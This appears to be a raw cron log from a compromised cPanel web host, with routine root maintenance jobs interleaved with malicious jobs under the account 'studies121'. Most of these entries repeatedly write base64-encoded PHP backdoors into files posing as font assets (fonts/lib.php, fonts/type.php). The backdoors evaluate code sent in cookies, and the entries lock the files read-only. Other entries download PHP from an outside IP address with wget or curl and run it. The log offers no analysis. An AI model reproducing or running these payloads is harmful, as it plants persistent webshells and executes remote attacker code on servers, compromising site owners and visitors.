Sep  7 12:39:01 ip-184-168-122-23 CROND[30392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:39:01 ip-184-168-122-23 CROND[30391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:40:01 ip-184-168-122-23 CROND[30491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:40:01 ip-184-168-122-23 CROND[30493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:40:02 ip-184-168-122-23 CROND[30496]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:40:02 ip-184-168-122-23 CROND[30498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:40:02 ip-184-168-122-23 CROND[30500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:40:02 ip-184-168-122-23 CROND[30499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:40:02 ip-184-168-122-23 CROND[30495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:40:02 ip-184-168-122-23 CROND[30501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:41:01 ip-184-168-122-23 CROND[30703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:41:01 ip-184-168-122-23 CROND[30704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:41:01 ip-184-168-122-23 CROND[30707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:41:01 ip-184-168-122-23 CROND[30706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:42:01 ip-184-168-122-23 CROND[30791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:42:01 ip-184-168-122-23 CROND[30794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:42:01 ip-184-168-122-23 CROND[30793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:42:01 ip-184-168-122-23 CROND[30795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:42:01 ip-184-168-122-23 CROND[30796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:43:01 ip-184-168-122-23 CROND[30969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:43:01 ip-184-168-122-23 CROND[30974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:43:01 ip-184-168-122-23 CROND[30973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:43:01 ip-184-168-122-23 CROND[30975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:44:01 ip-184-168-122-23 CROND[31073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:44:01 ip-184-168-122-23 CROND[31076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:44:01 ip-184-168-122-23 CROND[31075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:44:01 ip-184-168-122-23 CROND[31077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:44:01 ip-184-168-122-23 CROND[31079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:45:01 ip-184-168-122-23 CROND[31169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:45:01 ip-184-168-122-23 CROND[31172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:45:01 ip-184-168-122-23 CROND[31171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:45:01 ip-184-168-122-23 CROND[31170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:45:01 ip-184-168-122-23 CROND[31174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:45:01 ip-184-168-122-23 CROND[31173]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  7 12:45:01 ip-184-168-122-23 CROND[31175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:46:01 ip-184-168-122-23 CROND[31262]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 12:46:01 ip-184-168-122-23 CROND[31263]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:46:01 ip-184-168-122-23 CROND[31266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:46:01 ip-184-168-122-23 CROND[31265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:46:01 ip-184-168-122-23 CROND[31268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:46:01 ip-184-168-122-23 CROND[31270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:46:01 ip-184-168-122-23 CROND[31269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:47:01 ip-184-168-122-23 CROND[31388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:47:01 ip-184-168-122-23 CROND[31390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:47:01 ip-184-168-122-23 CROND[31391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:47:01 ip-184-168-122-23 CROND[31389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:48:01 ip-184-168-122-23 CROND[31472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:48:01 ip-184-168-122-23 CROND[31473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:48:01 ip-184-168-122-23 CROND[31474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:48:01 ip-184-168-122-23 CROND[31475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:48:01 ip-184-168-122-23 CROND[31476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:49:01 ip-184-168-122-23 CROND[31651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:49:01 ip-184-168-122-23 CROND[31653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:49:01 ip-184-168-122-23 CROND[31654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:49:01 ip-184-168-122-23 CROND[31656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:50:01 ip-184-168-122-23 CROND[31750]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:50:01 ip-184-168-122-23 CROND[31753]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:50:01 ip-184-168-122-23 CROND[31755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:50:01 ip-184-168-122-23 CROND[31754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:50:01 ip-184-168-122-23 CROND[31760]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:50:01 ip-184-168-122-23 CROND[31758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:50:01 ip-184-168-122-23 CROND[31762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:50:01 ip-184-168-122-23 CROND[31759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:50:01 ip-184-168-122-23 CROND[31761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
